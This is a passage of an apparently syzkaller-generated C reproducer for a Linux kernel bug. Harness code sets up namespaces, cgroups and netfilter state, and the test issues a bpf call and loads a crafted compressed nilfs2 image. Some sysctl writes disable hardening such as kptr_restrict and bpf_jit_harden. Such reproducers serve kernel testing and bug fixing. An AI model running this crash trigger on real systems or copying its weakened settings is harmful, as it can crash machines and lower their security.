if (getsockopt(fd, SOL_IP, EBT_SO_GET_INIT_ENTRIES, &table->replace,
&optlen))
exit(1);
}
close(fd);
}
static void reset_ebtables()
{
int fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (fd == -1) {
switch (errno) {
case EAFNOSUPPORT:
case ENOPROTOOPT:
case ENOENT:
return;
}
exit(1);
}
for (unsigned i = 0; i < sizeof(ebt_tables) / sizeof(ebt_tables[0]); i++) {
struct ebt_table_desc* table = &ebt_tables[i];
if (table->replace.valid_hooks == 0)
continue;
struct ebt_replace replace;
memset(&replace, 0, sizeof(replace));
strcpy(replace.name, table->name);
socklen_t optlen = sizeof(replace);
if (getsockopt(fd, SOL_IP, EBT_SO_GET_INFO, &replace, &optlen))
exit(1);
replace.num_counters = 0;
table->replace.entries = 0;
for (unsigned h = 0; h < NF_BR_NUMHOOKS; h++)
table->replace.hook_entry[h] = 0;
if (memcmp(&table->replace, &replace, sizeof(table->replace)) == 0) {
char entrytable[XT_TABLE_SIZE];
memset(&entrytable, 0, sizeof(entrytable));
replace.entries = entrytable;
optlen = sizeof(replace) + replace.entries_size;
if (getsockopt(fd, SOL_IP, EBT_SO_GET_ENTRIES, &replace, &optlen))
exit(1);
if (memcmp(table->entrytable, entrytable, replace.entries_size) == 0)
continue;
}
for (unsigned j = 0, h = 0; h < NF_BR_NUMHOOKS; h++) {
if (table->replace.valid_hooks & (1 << h)) {
table->replace.hook_entry[h] =
(struct ebt_entries*)table->entrytable + j;
j++;
}
}
table->replace.entries = table->entrytable;
optlen = sizeof(table->replace) + table->replace.entries_size;
if (setsockopt(fd, SOL_IP, EBT_SO_SET_ENTRIES, &table->replace, optlen))
exit(1);
}
close(fd);
}
static void checkpoint_net_namespace(void)
{
checkpoint_ebtables();
checkpoint_arptables();
checkpoint_iptables(ipv4_tables, sizeof(ipv4_tables) / sizeof(ipv4_tables[0]),
AF_INET, SOL_IP);
checkpoint_iptables(ipv6_tables, sizeof(ipv6_tables) / sizeof(ipv6_tables[0]),
AF_INET6, SOL_IPV6);
}
static void reset_net_namespace(void)
{
reset_ebtables();
reset_arptables();
reset_iptables(ipv4_tables, sizeof(ipv4_tables) / sizeof(ipv4_tables[0]),
AF_INET, SOL_IP);
reset_iptables(ipv6_tables, sizeof(ipv6_tables) / sizeof(ipv6_tables[0]),
AF_INET6, SOL_IPV6);
}
static void mount_cgroups(const char* dir, const char** controllers, int count)
{
if (mkdir(dir, 0777)) {
return;
}
char enabled[128] = {0};
int i = 0;
for (; i < count; i++) {
if (mount("none", dir, "cgroup", 0, controllers[i])) {
continue;
}
umount(dir);
strcat(enabled, ",");
strcat(enabled, controllers[i]);
}
if (enabled[0] == 0) {
if (rmdir(dir) && errno != EBUSY)
exit(1);
return;
}
if (mount("none", dir, "cgroup", 0, enabled + 1)) {
if (rmdir(dir) && errno != EBUSY)
exit(1);
}
if (chmod(dir, 0777)) {
}
}
static void mount_cgroups2(const char** controllers, int count)
{
if (mkdir("/syzcgroup/unified", 0777)) {
return;
}
if (mount("none", "/syzcgroup/unified", "cgroup2", 0, NULL)) {
if (rmdir("/syzcgroup/unified") && errno != EBUSY)
exit(1);
return;
}
if (chmod("/syzcgroup/unified", 0777)) {
}
int control = open("/syzcgroup/unified/cgroup.subtree_control", O_WRONLY);
if (control == -1)
return;
int i;
for (i = 0; i < count; i++)
if (write(control, controllers[i], strlen(controllers[i])) < 0) {
}
close(control);
}
static void setup_cgroups()
{
const char* unified_controllers[] = {"+cpu", "+io", "+pids"};
const char* net_controllers[] = {"net", "net_prio", "devices", "blkio",
"freezer"};
const char* cpu_controllers[] = {"cpuset", "cpuacct", "hugetlb", "rlimit",
"memory"};
if (mkdir("/syzcgroup", 0777)) {
return;
}
mount_cgroups2(unified_controllers,
sizeof(unified_controllers) / sizeof(unified_controllers[0]));
mount_cgroups("/syzcgroup/net", net_controllers,
sizeof(net_controllers) / sizeof(net_controllers[0]));
mount_cgroups("/syzcgroup/cpu", cpu_controllers,
sizeof(cpu_controllers) / sizeof(cpu_controllers[0]));
write_file("/syzcgroup/cpu/cgroup.clone_children", "1");
write_file("/syzcgroup/cpu/cpuset.memory_pressure_enabled", "1");
}
static void setup_cgroups_loop()
{
int pid = getpid();
char file[128];
char cgroupdir[64];
snprintf(cgroupdir, sizeof(cgroupdir), "/syzcgroup/unified/syz%llu", procid);
if (mkdir(cgroupdir, 0777)) {
}
snprintf(file, sizeof(file), "%s/pids.max", cgroupdir);
write_file(file, "32");
snprintf(file, sizeof(file), "%s/cgroup.procs", cgroupdir);
write_file(file, "%d", pid);
snprintf(cgroupdir, sizeof(cgroupdir), "/syzcgroup/cpu/syz%llu", procid);
if (mkdir(cgroupdir, 0777)) {
}
snprintf(file, sizeof(file), "%s/cgroup.procs", cgroupdir);
write_file(file, "%d", pid);
snprintf(file, sizeof(file), "%s/memory.soft_limit_in_bytes", cgroupdir);
write_file(file, "%d", 299 << 20);
snprintf(file, sizeof(file), "%s/memory.limit_in_bytes", cgroupdir);
write_file(file, "%d", 300 << 20);
snprintf(cgroupdir, sizeof(cgroupdir), "/syzcgroup/net/syz%llu", procid);
if (mkdir(cgroupdir, 0777)) {
}
snprintf(file, sizeof(file), "%s/cgroup.procs", cgroupdir);
write_file(file, "%d", pid);
}
static void setup_cgroups_test()
{
char cgroupdir[64];
snprintf(cgroupdir, sizeof(cgroupdir), "/syzcgroup/unified/syz%llu", procid);
if (symlink(cgroupdir, "./cgroup")) {
}
snprintf(cgroupdir, sizeof(cgroupdir), "/syzcgroup/cpu/syz%llu", procid);
if (symlink(cgroupdir, "./cgroup.cpu")) {
}
snprintf(cgroupdir, sizeof(cgroupdir), "/syzcgroup/net/syz%llu", procid);
if (symlink(cgroupdir, "./cgroup.net")) {
}
}
static void setup_common()
{
if (mount(0, "/sys/fs/fuse/connections", "fusectl", 0, 0)) {
}
}
static void setup_binderfs()
{
if (mkdir("/dev/binderfs", 0777)) {
}
if (mount("binder", "/dev/binderfs", "binder", 0, NULL)) {
}
}
static void loop();
static void sandbox_common()
{
prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0);
setsid();
struct rlimit rlim;
rlim.rlim_cur = rlim.rlim_max = (200 << 20);
setrlimit(RLIMIT_AS, &rlim);
rlim.rlim_cur = rlim.rlim_max = 32 << 20;
setrlimit(RLIMIT_MEMLOCK, &rlim);
rlim.rlim_cur = rlim.rlim_max = 136 << 20;
setrlimit(RLIMIT_FSIZE, &rlim);
rlim.rlim_cur = rlim.rlim_max = 1 << 20;
setrlimit(RLIMIT_STACK, &rlim);
rlim.rlim_cur = rlim.rlim_max = 128 << 20;
setrlimit(RLIMIT_CORE, &rlim);
rlim.rlim_cur = rlim.rlim_max = 256;
setrlimit(RLIMIT_NOFILE, &rlim);
if (unshare(CLONE_NEWNS)) {
}
if (mount(NULL, "/", NULL, MS_REC | MS_PRIVATE, NULL)) {
}
if (unshare(CLONE_NEWIPC)) {
}
if (unshare(0x02000000)) {
}
if (unshare(CLONE_NEWUTS)) {
}
if (unshare(CLONE_SYSVSEM)) {
}
typedef struct {
const char* name;
const char* value;
} sysctl_t;
static const sysctl_t sysctls[] = {
{"/proc/sys/kernel/shmmax", "16777216"},
{"/proc/sys/kernel/shmall", "536870912"},
{"/proc/sys/kernel/shmmni", "1024"},
{"/proc/sys/kernel/msgmax", "8192"},
{"/proc/sys/kernel/msgmni", "1024"},
{"/proc/sys/kernel/msgmnb", "1024"},
{"/proc/sys/kernel/sem", "1024 1048576 500 1024"},
};
unsigned i;
for (i = 0; i < sizeof(sysctls) / sizeof(sysctls[0]); i++)
write_file(sysctls[i].name, sysctls[i].value);
}
static int wait_for_loop(int pid)
{
if (pid < 0)
exit(1);
int status = 0;
while (waitpid(-1, &status, __WALL) != pid) {
}
return WEXITSTATUS(status);
}
static void drop_caps(void)
{
struct __user_cap_header_struct cap_hdr = {};
struct __user_cap_data_struct cap_data[2] = {};
cap_hdr.version = _LINUX_CAPABILITY_VERSION_3;
cap_hdr.pid = getpid();
if (syscall(SYS_capget, &cap_hdr, &cap_data))
exit(1);
const int drop = (1 << CAP_SYS_PTRACE) | (1 << CAP_SYS_NICE);
cap_data[0].effective &= ~drop;
cap_data[0].permitted &= ~drop;
cap_data[0].inheritable &= ~drop;
if (syscall(SYS_capset, &cap_hdr, &cap_data))
exit(1);
}
static int do_sandbox_none(void)
{
if (unshare(CLONE_NEWPID)) {
}
int pid = fork();
if (pid != 0)
return wait_for_loop(pid);
setup_common();
initialize_vhci();
sandbox_common();
drop_caps();
initialize_netdevices_init();
if (unshare(CLONE_NEWNET)) {
}
write_file("/proc/sys/net/ipv4/ping_group_range", "0 65535");
initialize_tun();
initialize_netdevices();
initialize_wifi_devices();
setup_binderfs();
loop();
exit(1);
}
#define FS_IOC_SETFLAGS _IOW('f', 2, long)
static void remove_dir(const char* dir)
{
int iter = 0;
DIR* dp = 0;
retry:
const int umount_flags = MNT_FORCE | UMOUNT_NOFOLLOW;
while (umount2(dir, umount_flags) == 0) {
}
dp = opendir(dir);
if (dp == NULL) {
if (errno == EMFILE) {
exit(1);
}
exit(1);
}
struct dirent* ep = 0;
while ((ep = readdir(dp))) {
if (strcmp(ep->d_name, ".") == 0 || strcmp(ep->d_name, "..") == 0)
continue;
char filename[FILENAME_MAX];
snprintf(filename, sizeof(filename), "%s/%s", dir, ep->d_name);
while (umount2(filename, umount_flags) == 0) {
}
struct stat st;
if (lstat(filename, &st))
exit(1);
if (S_ISDIR(st.st_mode)) {
remove_dir(filename);
continue;
}
int i;
for (i = 0;; i++) {
if (unlink(filename) == 0)
break;
if (errno == EPERM) {
int fd = open(filename, O_RDONLY);
if (fd != -1) {
long flags = 0;
if (ioctl(fd, FS_IOC_SETFLAGS, &flags) == 0) {
}
close(fd);
continue;
}
}
if (errno == EROFS) {
break;
}
if (errno != EBUSY || i > 100)
exit(1);
if (umount2(filename, umount_flags))
exit(1);
}
}
closedir(dp);
for (int i = 0;; i++) {
if (rmdir(dir) == 0)
break;
if (i < 100) {
if (errno == EPERM) {
int fd = open(dir, O_RDONLY);
if (fd != -1) {
long flags = 0;
if (ioctl(fd, FS_IOC_SETFLAGS, &flags) == 0) {
}
close(fd);
continue;
}
}
if (errno == EROFS) {
break;
}
if (errno == EBUSY) {
if (umount2(dir, umount_flags))
exit(1);
continue;
}
if (errno == ENOTEMPTY) {
if (iter < 100) {
iter++;
goto retry;
}
}
}
exit(1);
}
}
static void kill_and_wait(int pid, int* status)
{
kill(-pid, SIGKILL);
kill(pid, SIGKILL);
for (int i = 0; i < 100; i++) {
if (waitpid(-1, status, WNOHANG | __WALL) == pid)
return;
usleep(1000);
}
DIR* dir = opendir("/sys/fs/fuse/connections");
if (dir) {
for (;;) {
struct dirent* ent = readdir(dir);
if (!ent)
break;
if (strcmp(ent->d_name, ".") == 0 || strcmp(ent->d_name, "..") == 0)
continue;
char abort[300];
snprintf(abort, sizeof(abort), "/sys/fs/fuse/connections/%s/abort",
ent->d_name);
int fd = open(abort, O_WRONLY);
if (fd == -1) {
continue;
}
if (write(fd, abort, 1) < 0) {
}
close(fd);
}
closedir(dir);
} else {
}
while (waitpid(-1, status, __WALL) != pid) {
}
}
static void setup_loop()
{
setup_cgroups_loop();
checkpoint_net_namespace();
}
static void reset_loop()
{
char buf[64];
snprintf(buf, sizeof(buf), "/dev/loop%llu", procid);
int loopfd = open(buf, O_RDWR);
if (loopfd != -1) {
ioctl(loopfd, LOOP_CLR_FD, 0);
close(loopfd);
}
reset_net_namespace();
}
static void setup_test()
{
prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0);
setpgrp();
setup_cgroups_test();
write_file("/proc/self/oom_score_adj", "1000");
flush_tun();
if (symlink("/dev/binderfs", "./binderfs")) {
}
}
static void close_fds()
{
for (int fd = 3; fd < MAX_FDS; fd++)
close(fd);
}
static void setup_binfmt_misc()
{
if (mount(0, "/proc/sys/fs/binfmt_misc", "binfmt_misc", 0, 0)) {
return;
}
if (!write_file("/proc/sys/fs/binfmt_misc/register",
":syz0:M:0:\x01::./file0:") ||
!write_file("/proc/sys/fs/binfmt_misc/register",
":syz1:M:1:\x02::./file0:POC"))
exit(1);
}
static void setup_usb()
{
if (chmod("/dev/raw-gadget", 0666))
exit(1);
}
static void setup_sysctl()
{
char mypid[32];
snprintf(mypid, sizeof(mypid), "%d", getpid());
struct {
const char* name;
const char* data;
} files[] = {
{"/sys/kernel/debug/x86/nmi_longest_ns", "10000000000"},
{"/proc/sys/kernel/hung_task_check_interval_secs", "20"},
{"/proc/sys/net/core/bpf_jit_kallsyms", "1"},
{"/proc/sys/net/core/bpf_jit_harden", "0"},
{"/proc/sys/kernel/kptr_restrict", "0"},
{"/proc/sys/kernel/softlockup_all_cpu_backtrace", "1"},
{"/proc/sys/fs/mount-max", "100"},
{"/proc/sys/vm/oom_dump_tasks", "0"},
{"/proc/sys/debug/exception-trace", "0"},
{"/proc/sys/kernel/printk", "7 4 1 3"},
{"/proc/sys/kernel/keys/gc_delay", "1"},
{"/proc/sys/vm/oom_kill_allocating_task", "1"},
{"/proc/sys/kernel/ctrl-alt-del", "0"},
{"/proc/sys/kernel/cad_pid", mypid},
};
for (size_t i = 0; i < sizeof(files) / sizeof(files[0]); i++) {
if (!write_file(files[i].name, files[i].data))
printf("write to %s failed: %s\n", files[i].name, strerror(errno));
}
}
#define NL802154_CMD_SET_SHORT_ADDR 11
#define NL802154_ATTR_IFINDEX 3
#define NL802154_ATTR_SHORT_ADDR 10
static void setup_802154()
{
int sock_route = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
if (sock_route == -1)
exit(1);
int sock_generic = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC);
if (sock_generic < 0)
exit(1);
int nl802154_family_id =
netlink_query_family_id(&nlmsg, sock_generic, "nl802154", true);
for (int i = 0; i < 2; i++) {
char devname[] = "wpan0";
devname[strlen(devname) - 1] += i;
uint64_t hwaddr = 0xaaaaaaaaaaaa0002 + (i << 8);
uint16_t shortaddr = 0xaaa0 + i;
int ifindex = if_nametoindex(devname);
struct genlmsghdr genlhdr;
memset(&genlhdr, 0, sizeof(genlhdr));
genlhdr.cmd = NL802154_CMD_SET_SHORT_ADDR;
netlink_init(&nlmsg, nl802154_family_id, 0, &genlhdr, sizeof(genlhdr));
netlink_attr(&nlmsg, NL802154_ATTR_IFINDEX, &ifindex, sizeof(ifindex));
netlink_attr(&nlmsg, NL802154_ATTR_SHORT_ADDR, &shortaddr,
sizeof(shortaddr));
int err = netlink_send(&nlmsg, sock_generic);
if (err < 0)
exit(1);
netlink_device_change(&nlmsg, sock_route, devname, true, 0, &hwaddr,
sizeof(hwaddr), 0);
if (i == 0) {
netlink_add_device_impl(&nlmsg, "lowpan", "lowpan0", false);
netlink_done(&nlmsg);
netlink_attr(&nlmsg, IFLA_LINK, &ifindex, sizeof(ifindex));
int err = netlink_send(&nlmsg, sock_route);
if (err < 0)
exit(1);
}
}
close(sock_route);
close(sock_generic);
}
#define SWAP_FILE "./swap-file"
#define SWAP_FILE_SIZE (128 * 1000 * 1000)
static void setup_swap()
{
swapoff(SWAP_FILE);
unlink(SWAP_FILE);
int fd = open(SWAP_FILE, O_CREAT | O_WRONLY | O_CLOEXEC, 0600);
if (fd == -1)
exit(1);
fallocate(fd, FALLOC_FL_ZERO_RANGE, 0, SWAP_FILE_SIZE);
close(fd);
char cmdline[64];
sprintf(cmdline, "mkswap %s", SWAP_FILE);
if (runcmdline(cmdline))
exit(1);
if (swapon(SWAP_FILE, SWAP_FLAG_PREFER) == 1)
exit(1);
}
struct thread_t {
int created, call;
event_t ready, done;
};
static struct thread_t threads[16];
static void execute_call(int call);
static int running;
static void* thr(void* arg)
{
struct thread_t* th = (struct thread_t*)arg;
for (;;) {
event_wait(&th->ready);
event_reset(&th->ready);
execute_call(th->call);
__atomic_fetch_sub(&running, 1, __ATOMIC_RELAXED);
event_set(&th->done);
}
return 0;
}
static void execute_one(void)
{
if (write(1, "executing program\n", sizeof("executing program\n") - 1)) {
}
int i, call, thread;
for (call = 0; call < 9; call++) {
for (thread = 0; thread < (int)(sizeof(threads) / sizeof(threads[0]));
thread++) {
struct thread_t* th = &threads[thread];
if (!th->created) {
th->created = 1;
event_init(&th->ready);
event_init(&th->done);
event_set(&th->done);
thread_start(thr, th);
}
if (!event_isset(&th->done))
continue;
event_reset(&th->done);
th->call = call;
__atomic_fetch_add(&running, 1, __ATOMIC_RELAXED);
event_set(&th->ready);
event_timedwait(&th->done, 50 + (call == 1 ? 4000 : 0) +
(call == 4 ? 4000 : 0) +
(call == 8 ? 4000 : 0));
break;
}
}
for (i = 0; i < 100 && __atomic_load_n(&running, __ATOMIC_RELAXED); i++)
sleep_ms(1);
close_fds();
}
static void execute_one(void);
#define WAIT_FLAGS __WALL
static void loop(void)
{
setup_loop();
int iter = 0;
for (;; iter++) {
char cwdbuf[32];
sprintf(cwdbuf, "./%d", iter);
if (mkdir(cwdbuf, 0777))
exit(1);
reset_loop();
int pid = fork();
if (pid < 0)
exit(1);
if (pid == 0) {
if (chdir(cwdbuf))
exit(1);
setup_test();
execute_one();
exit(0);
}
int status = 0;
uint64_t start = current_time_ms();
for (;;) {
if (waitpid(-1, &status, WNOHANG | WAIT_FLAGS) == pid)
break;
sleep_ms(1);
if (current_time_ms() - start < 5000)
continue;
kill_and_wait(pid, &status);
break;
}
remove_dir(cwdbuf);
}
}
uint64_t r[2] = {0xffffffffffffffff, 0xffffffffffffffff};
void execute_call(int call)
{
intptr_t res = 0;
switch (call) {
case 0:
NONFAILING(*(uint32_t*)0x200000c0 = -1);
NONFAILING(*(uint64_t*)0x200000c8 = 0);
NONFAILING(*(uint64_t*)0x200000d0 = 0);
NONFAILING(*(uint64_t*)0x200000d8 = 0);
syscall(__NR_bpf, /*cmd=*/2ul, /*arg=*/0x200000c0ul, /*size=*/0x20ul);
break;
case 1:
NONFAILING(memcpy((void*)0x20000080, "nilfs2\000", 7));
NONFAILING(memcpy((void*)0x20000040, "./file2\000", 8));
NONFAILING(memcpy(
(void*)0x20001c80,
"\x78\x9c\xec\xdd\x4d\x8c\x5b\x47\xe1\x00\xf0\x79\xde\xf5\x26\x9b\xa4"
"\xff\x38\xfd\x27\x74\x49\x42\x9b\xf0\xd1\x96\x8f\xee\x36\x9b\x25\x7c"
"\x44\xd0\x54\xcd\x85\xa8\xa9\xb8\x55\xaa\xb8\x44\x69\x5a\x22\xd2\x80"
"\x48\x25\x68\x55\x89\x24\x27\x6e\xb4\xaa\xc2\x95\x0f\x71\x2a\x87\x0a"
"\x10\x52\x7b\x41\x51\x4f\x5c\x2a\xd1\x48\x5c\x7a\x2a\x1c\x38\x10\x05"
"\xa9\x12\x07\x28\x24\x46\xb1\x67\xbc\xf6\xac\xad\x67\xef\x97\xed\xf5"
"\xef\x27\xcd\x8e\xe7\xcd\xb3\x67\xde\xdb\xe7\xe7\xf7\x35\x33\x01\x98"
"\x58\x95\xc6\xdf\xa5\xa5\xb9\x22\x84\x6b\x6f\xbf\x7e\xf2\xef\x0f\xfe"
"\x6d\xf6\xee\x94\xc7\x5a\x73\xd4\x1a\x7f\xa7\xdb\x52\xd5\x10\x42\x11"
"\xd3\xd3\xd9\xe7\x7d\x30\xd5\x8c\x6f\x7f\xf8\xca\xd9\x6e\x71\x11\x16"
"\x1b\x7f\x53\x3a\x3c\x75\xab\xf5\xde\x9d\x21\x84\xcb\xe1\x50\xb8\x1e"
"\x6a\x61\xff\xb5\x1b\xaf\xbd\xbb\xf8\xe4\xe9\x2b\xa7\xae\x1e\x7e\xef"
"\x8d\xe3\x37\x37\x66\xe9\x01\x00\x60\xb2\x7c\xf3\xfa\xf1\xa5\x7d\x7f"
"\xf9\xd3\x81\x3d\x1f\xbd\x79\xff\x89\xb0\xad\x35\x3d\x1d\x9f\xd7\x62"
"\x7a\x57\x3c\xee\x3f\x11\x0f\xfc\xd3\xf1\x7f\x25\x74\xa6\x8b\xb6\xd0"
"\x6e\x26\x9b\x6f\x3a\x86\x4a\x36\xdf\x54\x97\xf9\xda\xcb\xa9\x66\xf3"
"\x4d\xf7\x28\x7f\x26\xfb\xdc\x6a\x2b\xff\x40\xc7\x7c\xdb\x4a\xca\x9f"
"\x6a\x9b\xd6\x6d\xb9\x61\x9c\xa5\xed\xb8\x16\x8a\xca\x7c\x47\xba\x52"
"\x99\x9f\x6f\x9e\x93\x87\xc6\x79\xfd\x4c\x31\x7f\xf1\xfc\x85\xe7\x2e"
"\x0d\xa9\xa2\xc0\xba\xfb\xe7\x03\x21\x84\x43\xc2\xa0\xa1\x5e\xaf\xff"
"\xa8\xb1\x02\x47\xa0\x2e\x82\xb0\xda\x50\xdf\x3d\xec\x3d\x10\x40\x53"
"\x7e\xbf\x70\x85\xcb\xf9\x95\x85\xb5\x69\x7d\xda\x74\x7f\xe5\xdf\x7a"
"\xbc\xd2\xfd\xfd\xb0\x0e\x36\x7b\xfb\x57\xfe\x78\x95\xff\xab\x2b\xf6"
"\x38\xac\x9f\xad\xba\x35\xa5\xe5\x4a\xdf\xa3\x5d\x31\x9d\xdf\x47\xc8"
"\x9f\x5f\x1a\xf4\xfb\x9f\x3e\x2f\xbf\x1f\x51\xed\xb3\x9e\xbd\xee\x23"
"\x8c\xcb\xfd\x85\x5e\xf5\x9c\xda\xe4\x7a\xac\x56\xaf\xfa\xe7\xdb\xc5"
"\x56\xf5\xb5\x18\xa7\xf5\xf0\xf5\x2c\xbf\xfd\xfb\x93\xff\x4f\xc7\xe5"
"\x7f\x0c\x74\xf7\xaf\x09\xbb\xfe\x7f\x68\x04\xea\xb0\xa5\x43\x75\x04"
"\xea\x20\xf4\x1d\xea\xc3\xde\x01\x01\x23\x6b\xf9\xb9\xb9\xa6\x7a\x94"
"\xf2\xf3\xe7\xfa\xf2\xfc\x6d\x25\xf9\xdb\x4b\xf2\x67\x4b\xf2\x77\x94"
"\xe4\xef\x2c\xc9\x87\x49\xf6\xbb\x17\x7f\x12\x5e\x2d\x96\xcf\xf3\xf3"
"\x73\xfa\x41\xaf\x87\xa5\xeb\x6c\xf7\xc4\xf8\xff\x06\xac\x4f\x7e\x3d"
"\x72\xd0\xf2\xf3\xe7\x7e\x07\xb5\xd6\xf2\xf3\xe7\x89\x61\x94\xbd\x75"
"\xe6\xe9\x73\x5f\x7e\xf6\x99\x1b\xcd\xe7\xff\x8b\xd6\xf6\x7f\x27\x6e"
"\xef\x87\x62\xba\x16\xbf\x5b\xd7\xe3\x0c\xe9\x7a\x61\x7e\x5d\xbd\xf5"
"\xec\x7f\xad\xb3\x9c\x4a\x8f\xf9\xee\xcd\xea\x73\xcf\x8a\xf9\xeb\xcd"
"\x12\xf7\x76\xce\x57\xec\x5d\xfe\x9c\xd0\xb6\x9f\x59\x51\x8f\xb9\xce"
"\xf7\xed\xee\x35\xdf\xc1\xce\xf9\x6a\xd9\x7c\xb3\x31\x6c\xcf\xea\x9b"
"\x1f\x9f\xec\xc8\xde\x97\x8e\x3f\xd2\x7e\x35\xad\xaf\xe9\x6c\x79\xab"
"\xd9\x72\xcc\x64\xf5\x48\xfb\x95\x3d\x31\xce\xeb\x01\xab\x91\xb6\xc7"
"\x5e\xcf\xff\xa7\xed\x73\x2e\x54\x8b\xe7\xce\x5f\x38\xf7\x68\x4c\xa7"
"\xed\xf4\x8f\x53\xd5\x6d\x77\xa7\x1f\x69\xff\xd0\x5f\x6f\x4e\xdd\x81"
"\xb5\xe9\xb7\xfd\xcf\x5c\xe8\x6c\xff\xb3\xab\x35\xbd\x5a\x69\xdf\x2f"
"\xec\x5e\x9e\x5e\xb4\xef\x17\x6a\xd9\xf4\xc5\x66\xb2\x75\x9b\x3c\x4d"
"\x3f\x1a\xd3\xe9\x77\xee\xdb\x53\xb3\x8d\xe9\xf3\x67\xbf\x7b\xe1\xd9"
"\xf5\x5e\x78\x98\x70\x97\x5e\x7a\xf9\x3b\x67\x2e\x5c\x38\xf7\x7d\x2f"
"\xd2\x8b\x59\xab\xc5\x0b\x2f\x86\xbd\x67\x02\x36\xda\xc2\x8b\x2f\x7c"
"\x6f\xe1\xd2\x4b\x2f\x3f\x72\xfe\x85\x33\xcf\x9f\x7b\xfe\xdc\xc5\xa3"
"\xc7\x8e\x1d\x5d\x5c\x3c\xf6\x95\xa3\x4b\x0b\x8d\xe3\xfa\x85\xf6\xa3"
"\x7b\x60\x2b\x59\xfe\xd1\x1f\x76\x4d\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x80\x7e\xfd\xe0\xd4\xc9\x1b\x7f\x7e\xe7\x4b\xef\x37\xdb\xff\x2f"
"\xb7\xff\x4b\xed\xff\xd3\x93\xbf\xa9\xfd\xff\x8f\xb3\xf6\xff\x79\x3b"
"\xf9\xd4\x0e\x3e\xb5\x03\xdc\xd3\x25\xbf\x31\xee\xde\x5b\x9d\xf5\x98"
"\xc9\xe6\xab\xc6\xf0\xff\x59\x7d\xf7\x66\xe5\xec\xcb\xde\xf7\xb1\x18"
"\xb7\xc6\xf1\x8b\xed\xff\x53\x7b\xfb\xbc\x5f\xd7\x54\x9f\xfb\xb2\xe9"
"\x79\xff\xbd\x69\xbe\xac\x3b\x81\x15\xfd\xa5\xcc\x64\x7d\x90\xe4\xe3"
"\x05\x7e\x32\xc6\x57\x63\xfc\xcb\x00\x43\x54\xcc\x76\x9f\x1c\xe3\xb2"
"\xfe\xad\xd3\xb6\x9e\xfa\xa7\xd0\x2f\xc5\x78\x4a\xff\xb7\xb4\x35\xa4"
"\x7e\x4c\x52\xfb\xef\x5e\xfd\x3a\xa5\xfd\xff\x9e\x4d\xa8\x23\xeb\x6f"
"\x33\x9a\x13\x0e\x7b\x19\x81\xee\xfe\x31\xf2\xfd\x7f\xb7\x1d\x89\x0f"
"\xbd\x2e\x13\x10\xac\xe7\x89\x0a\xf5\xba\x51\x3c\x80\xd1\x30\xec\xf1"
"\x3f\xd3\x75\xcf\x14\x5f\xfc\xc3\x37\xb6\xdf\x0d\x69\xb6\x5b\x8f\x77"
"\xee\x2f\xf3\xfe\x4b\x61\x2d\x46\x7d\xfc\x49\xe5\x6f\xad\xf1\x3f\x5b"
"\xe3\xdf\xf5\xb5\xff\xeb\xd2\xbb\x7a\x47\x3f\xcf\xfd\x8f\xae\xf0\xef"
"\x9f\xdd\x7c\xbf\xad\xd8\xb0\xbf\xdf\xfd\x6f\xbe\xfc\xa9\x1f\xe8\xbd"
"\xe5\x65\xb6\xfb\x28\x96\x9f\x96\xff\xa1\xd0\x5f\xf9\xf5\x5f\x64\xe5"
"\xe7\x37\x84\xfa\xf4\x9f\xac\xfc\x1d\x7d\x96\xbf\x62\xf9\x0f\xae\xae"
"\xfc\xff\xc6\xf2\xd3\x6a\x7b\xf8\x53\xfd\x96\xdf\xac\x71\x51\xe9\xac"
"\x47\x7e\xdd\x38\xdd\xff\xcb\xaf\x1b\x27\xb7\xb3\xe5\x4f\x7d\x7b\x0e"
"\xbc\xfc\xab\x1c\xa8\xf1\x4e\x2c\x1f\x26\x59\xef\x71\x66\xfb\x1d\xc1"
"\x76\x34\x8d\xcb\xf8\xbf\xbd\xe4\xcf\x61\x7c\x31\xa6\xd3\x8e\x30\x3d"
"\xe7\x90\xff\x22\x0f\x5a\xff\xf4\x7c\x45\xfa\x1d\xd8\x97\x7d\x7e\x51"
"\xf2\xfb\x36\x2e\xe3\x14\xf7\x32\xe9\xe3\xff\x7e\x35\xc6\x65\xdf\x87"
"\x34\xfe\x6f\xda\x1e\x6b\x5d\xd2\x95\xb6\x74\xb5\xcb\xba\x1d\xf7\x6d"
"\x05\xb6\x9a\x0f\x46\xfe\xfe\xdf\x98\x85\xcb\x23\x50\x07\x61\x44\xc3"
"\xec\x08\xd4\xa1\x33\xd4\xeb\xf5\x8d\xbd\xa0\x55\x62\xa8\x85\x33\xf4"
"\xf5\x3f\xec\xbb\xcf\xc3\x2e\x7f\xd8\xeb\xbf\x4c\x3e\xfe\x6f\x7e\x0c"
"\x9f\x8f\xff\x5b\xc9\x4e\x20\xf2\xf1\x7f\xf3\xf7\xe7\xe3\xff\xe6\xf9"
"\xf9\xf8\x7a\x79\x7e\x3e\xfe\x6f\xbe\x3e\xf3\xf1\x7f\xf3\xfc\xfb\xb2"
"\xcf\xcd\xaf\x60\xcf\x95\xe4\x7f\xbc\x24\x7f\x7f\x49\xfe\x81\xe5\xfc"
"\xd9\x6e\xf9\x07\x4b\xde\xff\x89\x92\xfc\xc3\x25\xf9\xf7\x97\xe4\x3f"
"\x50\x92\x7f\x6f\x49\xfe\x54\x49\xfe\xa7\x4b\xf2\x3f\x53\x92\xff\x60"
"\x49\xfe\xc3\x25\xf9\x9f\x2d\xc9\xdf\xea\x52\x7b\x94\x49\x5d\x7e\x98"
"\x64\x79\xfb\x3c\xdf\x7f\x98\x1c\xe9\xfe\x4f\xaf\xef\xff\xde\x92\x7c"
"\x60\x7c\xfd\xf4\xcd\x23\x4f\x3c\xf3\xdb\x6f\xd5\x9a\xed\xff\x67\x5a"
"\xe7\x6b\xe9\x3e\xde\x89\x98\xae\xc6\x73\xe7\x1f\xc6\x74\x7e\xdf\x3b"
"\xb4\xa5\xef\xe6\xbd\x13\xd3\x7f\xcd\xf2\x47\xfd\x7a\x07\x4c\x92\xbc"
"\xff\x8c\xfc\xf7\xfd\xa1\x92\x7c\x60\x7c\xa5\xe7\xbc\x7c\xbf\x61\x02"
"\x15\xdd\x7b\xec\xe9\xb7\xdf\xaa\x5e\xc7\xf9\x8c\x97\xcf\xc5\xf8\xf3"
"\x31\xfe\x42\x8c\x1f\x89\xf1\x7c\x8c\x17\x62\x7c\x24\xc6\x8b\x9b\x54"
